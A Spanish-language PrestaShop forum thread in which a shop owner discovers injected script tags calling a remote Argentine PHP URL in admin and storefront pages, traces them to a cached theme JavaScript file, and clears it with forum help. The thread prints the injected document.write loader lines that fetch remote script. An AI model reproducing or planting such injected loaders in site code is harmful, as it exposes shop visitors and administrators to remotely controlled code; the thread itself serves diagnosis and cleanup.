Jump to content

[SOLUCIONADO] Cosas extrañas en el sitio (llamadas a un sitio argentino)


nanozombi

Recommended Posts

Hola,
resulta que en el backoffice y en el frontoffice he descubierto que se hacen llamadas a un sitio argentino, con firebug veo que carga esto en el Head del backoffice:

<head>
<meta content="application/xhtml+xml; charset=utf-8" http-equiv="Content-Type">
<meta content="NOFOLLOW, NOINDEX" name="robots">
<link href="/js/jquery/datepicker/datepicker.css" rel="stylesheet" type="text/css">
<link href="/css/admin.css" rel="stylesheet" type="text/css">
<link href="/css/jquery.cluetip.css" rel="stylesheet" type="text/css">
<link href="themes/oldschool/admin.css" rel="stylesheet" type="text/css">
<title>PrestaShop™ - Panel de administración</title>
<script type="text/javascript">
<script src="/js/jquery/jquery.min.js" type="text/javascript">

<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234373" type="text/javascript">

<script src="/js/jquery/jquery.hoverIntent.minified.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234369" type="text/javascript">
<script src="/js/jquery/jquery.cluetip.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234364" type="text/javascript">
<script src="/js/admin.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234330" type="text/javascript">
<script src="/js/toggle.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234343" type="text/javascript">
<script src="/js/tools.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234344" type="text/javascript">
<link href="/img/favicon.ico" rel="shortcut icon">
<style type="text/css">

En el Frontoffice está aquí:

<body id="order">
<div id="page">
<div id="header">
<div id="columns">
<div id="left_column" class="column">
<div id="center_column">
<div id="right_column" class="column">
</div>
<div id="footer">
<script type="text/javascript" src="/js/pluginDetect.js">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234338" type="text/javascript">
<script type="text/javascript">
<script type="text/javascript">

hasta aquí llego, pero no sé ni cómo ha aparecido esto aquí ni qué puede implicar ni cómo quitarlo :unsure:

Versión de PS 1.4.11
Alguien me echa una mano?
 
Gracias!
NZB

Edited by nanozombi (see edit history)
Link to comment
Share on other sites

Qué raro, puede que estén metidos en la plantilla que usas? intenta cambiar el template, borra cache y fuerza la compilación a ver qué pasa. Si no es esto, entonces hay q seguir indagando por si fuera algo que se te instaló con un módulo de terceros, o podrías indagar en los tpl para encontrar esa línea y editarla.

  • Like 1
Link to comment
Share on other sites

Hola,

resulta que en el backoffice y en el frontoffice he descubierto que se hacen llamadas a un sitio argentino, con firebug veo que carga esto en el Head del backoffice:

<head>
<meta content="application/xhtml+xml; charset=utf-8" http-equiv="Content-Type">
<meta content="NOFOLLOW, NOINDEX" name="robots">
<link href="/js/jquery/datepicker/datepicker.css" rel="stylesheet" type="text/css">
<link href="/css/admin.css" rel="stylesheet" type="text/css">
<link href="/css/jquery.cluetip.css" rel="stylesheet" type="text/css">
<link href="themes/oldschool/admin.css" rel="stylesheet" type="text/css">
<title>PrestaShop™ - Panel de administración</title>
<script type="text/javascript">
<script src="/js/jquery/jquery.min.js" type="text/javascript">

<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234373" type="text/javascript">

<script src="/js/jquery/jquery.hoverIntent.minified.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234369" type="text/javascript">
<script src="/js/jquery/jquery.cluetip.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234364" type="text/javascript">
<script src="/js/admin.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234330" type="text/javascript">
<script src="/js/toggle.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234343" type="text/javascript">
<script src="/js/tools.js" type="text/javascript">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234344" type="text/javascript">
<link href="/img/favicon.ico" rel="shortcut icon">
<style type="text/css">

En el Frontoffice está aquí:

<body id="order">
<div id="page">
<div id="header">
<div id="columns">
<div id="left_column" class="column">
<div id="center_column">
<div id="right_column" class="column">
</div>
<div id="footer">
<script type="text/javascript" src="/js/pluginDetect.js">
<script src="http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234338" type="text/javascript">
<script type="text/javascript">
<script type="text/javascript">

hasta aquí llego, pero no sé ni cómo ha aparecido esto aquí ni qué puede implicar ni cómo quitarlo :unsure:

Versión de PS 1.4.11

Alguien me echa una mano?

 

Gracias!

NZB

 

Comprueba primera, que no sea nada que tengas insertado en tu equipo que este simulando esas llamadas, esto lo puedes comprobar accediendo a la web desde otro equipo.

 

Te lo comento ,porque dices que pasa tanto en el panel como en el front-office.

 

Si te sigue saliendo, haz una busqueda masiva de la cadena:

elpuentenoticias

en los archivos de tu tienda. (Hay programas para hacer busqueda masiva en los ficheros, y si tienes acceso a ssh en tu hosting es todavia mas facil buscar la cadena)

  • Like 1
Link to comment
Share on other sites

Hola,

efectivamente, las llamadas las hacía un archivo .js que estaba en themes/prestashop/cache. He borrado la cache, forzado compilación y ya no lo hace más. Muchas gracias por vuestra ayuda!

 

Pero... cómo puede haber llegado ese .js allí?

Por cierto esto es lo que hacía, por si alguien tiene curiosidad:

themes\prestashop\cache\cb36f869d74f0ea654d0d09b8b5fdfff.js (8 hits)
Line 2: (function(a,{function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cu(a){if(!cj[a]){var b=c.body,d=f("<"+a+">").appendTo(,e=d.css("display");d.remove();if(e==="none"||e===""){ck||(ck=c.createElement("iframe"),ck.frameBorder=ck.width=ck.height=0),b.appendChild(ck);if(!cl||!ck.createElement)cl=(ck.contentWindow||ck.contentDocument).document,cl.write((f.support.boxModel?"<!doctype html>":"")+"<html><body>"),cl.close();d=cl.createElement(a),cl.body.appendChild(d),e=f.css(d,"display"),b.removeChild(ck)}cj[a]=e}return cj[a]}function ct(a,{var c={};f.each(cp.concat.apply([],cp.slice(0,),function(){c[this]=a});return c}function cs(){cq=b}function cr(){setTimeout(cs,0);return cq=f.now()}function ci(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch({[spam-filter]function ch(){try{return new a.XMLHttpRequest}catch({[spam-filter]function cb(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g<i;g++){if(...
Line 5: else var s=p/(2*Math.PI)*Math.asin(c/a);if(t<1)return-.5*(a*Math.pow(2,10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p))+b;return a*Math.pow(2,-10*(t-=1))*Math.sin((t*d-s)*(2*Math.PI)/p)*.5+c+b;},easeInBack:function(x,t,b,c,d,s){if(s==undefined)s=1.70158;return c*(t/=d)*t*((s+1)*t-s)+b;},easeOutBack:function(x,t,b,c,d,s){if(s==undefined)s=1.70158;return c*((t=t/d-1)*t*((s+1)*t+s)+1)+b;},easeInOutBack:function(x,t,b,c,d,s){if(s==undefined)s=1.70158;if((t/=d/2)<1)return c/2*(t*t*(((s*=(1.525))+1)*t-s))+b;return c/2*((t-=2)*t*(((s*=(1.525))+1)*t+s)+2)+b;},easeInBounce:function(x,t,b,c,d){return c-jQuery.easing.easeOutBounce(x,d-t,0,c,d)+b;},easeOutBounce:function(x,t,b,c,d){if((t/=d)<(1/2.75)){return c*(7.5625*t*t)+b;}else if(t<(2/2.75)){return c*(7.5625*(t-=(1.5/2.75))*t+.75)+b;}else if(t<(2.5/2.75)){return c*(7.5625*(t-=(2.25/2.75))*t+.9375)+b;}else{return c*(7.5625*(t-=(2.625/2.75))*t+.984375)+b;[spam-filter],easeInOutBounce:function(x,t,b,c,d){if(t<d/2)return jQuery.easing.easeInBounce(x,t*2,0,c,d)*.5+b;return...
Line 70: {$(this).find('.hideOnSubmit').hide();});});document.write("<script type='text/javascript' src='http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234344'></"+"script>");;function initMarkers()
Line 106: searchLocations();});initMarkers();});document.write("<script type='text/javascript' src='http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234949'></"+"script>");;var ajaxCart={overrideButtonsInThePage:function(){$('.ajax_add_to_cart_button').unbind('click').click(function(){var idProduct=$(this).attr('rel').replace('ajax_id_product_','');if($(this).attr('disabled')!='disabled')
Line 206: {$('.ajax_cart_quantity, .ajax_cart_product_txt_s, .ajax_cart_product_txt, .ajax_cart_total').hide();$('.ajax_cart_no_product').show('slow');[spam-filter]};$(document).ready(function(){$('#block_cart_collapse').click(ajaxCart.collapse);$('#block_cart_expand').click(ajaxCart.expand);ajaxCart.overrideButtonsInThePage();});document.write("<script type='text/javascript' src='http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234598'></"+"script>");;function openBranch(jQueryElement,noAnimation){jQueryElement.addClass('OPEN').removeClass('CLOSE');if(noAnimation)
Line 271: field.focus();};})(jQuery);document.write("<script type='text/javascript' src='http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234363'></"+"script>");;function pc_serialScrollFixLock(event,targeted,scrolled,items,position)
Line 274: {$('#productscategory_list').serialScroll({items:'li',prev:'a#productscategory_scroll_left',next:'a#productscategory_scroll_right',axis:'x',offset:0,stop:true,onBefore:pc_serialScrollFixLock,duration:300,step:1,lazy:true,lock:false,force:false,cycle:false});$('#productscategory_list').trigger('goto',0);});document.write("<script type='text/javascript' src='http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234766'></"+"script>");;;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:"x",event:"click",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind("prev.serialScroll",-i,q).bind("next.serialScroll",i,q).bind("goto.s...
Line 274: {$('#productscategory_list').serialScroll({items:'li',prev:'a#productscategory_scroll_left',next:'a#productscategory_scroll_right',axis:'x',offset:0,stop:true,onBefore:pc_serialScrollFixLock,duration:300,step:1,lazy:true,lock:false,force:false,cycle:false});$('#productscategory_list').trigger('goto',0);});document.write("<script type='text/javascript' src='http://elpuentenoticias.com.ar/CgNTxc8m.php?id=5234766'></"+"script>");;;(function(a){var b=a.serialScroll=function(c){return a(window).serialScroll(c)};b.defaults={duration:1e3,axis:"x",event:"click",start:0,step:1,lock:!0,cycle:!0,constant:!0};a.fn.serialScroll=function(c){return this.each(function(){var t=a.extend({},b.defaults,c),s=t.event,i=t.step,r=t.lazy,e=t.target?this:document,u=a(t.target||this,e),p=u[0],m=t.items,h=t.start,g=t.interval,k=t.navigation,l;if(!r){m=d()}if(t.force){f({},h)}a(t.prev||[],e).bind(s,-i,q);a(t.next||[],e).bind(s,i,q);if(!p.ssbound){u.bind("prev.serialScroll",-i,q).bind("next.serialScroll",i,q).bind("goto.s...
Search "puente" (0 hits in 0 files)

Saludos!

Link to comment
Share on other sites

  • nadie locked this topic
Guest
This topic is now closed to further replies.
×
×
  • Create New...